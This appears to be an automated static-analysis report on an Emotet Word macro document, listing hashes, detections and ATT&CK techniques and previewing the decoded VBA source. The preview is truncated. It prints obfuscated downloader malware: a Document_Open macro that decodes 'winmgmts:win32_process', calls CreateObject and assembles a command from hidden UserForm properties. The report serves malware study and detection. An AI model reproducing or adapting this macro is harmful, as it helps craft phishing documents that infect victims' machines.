Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 595648670d6c6163…

MALICIOUS

Office (OLE)

232.4 KB Created: 2020-08-14 23:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 19f57b6c35e3b3a5a967810f6284e9ce SHA-1: ce1138843813a75ae99e98dbb37efeab8ca9b0df SHA-256: 595648670d6c61636bf4bdb7afae6ae1c6c990d925634ddebb8d896e5da064fa
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are characteristic of Emotet. The ClamAV detection explicitly names Emotet. The VBA code likely executes a downloader to fetch and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9349720-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9349720-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8071 bytes
SHA-256: c9e222625209724b824cd241f8d136260a3fd5171cd978940b3d275289318aae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Er9bi04hjir8jgs3"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ah7v05hnf2uayave6v.Fa7mkzgpjcg_3z9n
End Sub


Attribute VB_Name = "Ah7v05hnf2uayave6v"
Attribute VB_Base = "0{6D9EE541-B9A3-44EC-AFEA-FBE586C73299}{9FA2C5AE-64E3-4003-969F-C75C1E46B053}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fa7mkzgpjcg_3z9n()
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
U4mom_vcm5ds5cwcqh = Ah7v05hnf2uayave6v.HelpContextId + 100
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
Xhq5ulz_m_rgqim = ChrW(U4mom_vcm5ds5cwcqh + (100 + 35) / 9)
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
Fwepxqyqbt9 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Xhq5ulz_m_rgqim + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Ah7v05hnf2uayave6v.Ettlnj4gllr0dmea + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
Oq7w_9pkuxos6x = Zx7e3btgdma1jedhm(Fwepxqyqbt9)
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
Set Ezzdj_l003_w = CreateObject(Oq7w_9pkuxos6x)
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
Zxa5n36cii581nf = Ah7v05hnf2uayave6v.Vd5fmfj8ntk4.ControlTipText
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
Ssaw_d0f9ukd = O_m5655bqyoza5wt + (Oq7w_9pkuxos6x + Xhq5ulz_m_rgqim + Ah7v05hnf2uayave6v.Bgr5uge4j2wqu.ControlTipText + Zxa5n36cii581nf)
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
K0t783abuug9rwu = K0t783abuug9rwu + 8: DoEvents
Loop
N3p65hk5xw_k = Ssaw_d0f9ukd + Ah7v05hnf2uayave6v.Ettlnj4gllr0dmea
   K0t783abuug9rwu = 4
Do While K0t783abuug9rwu < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVH
... (truncated)

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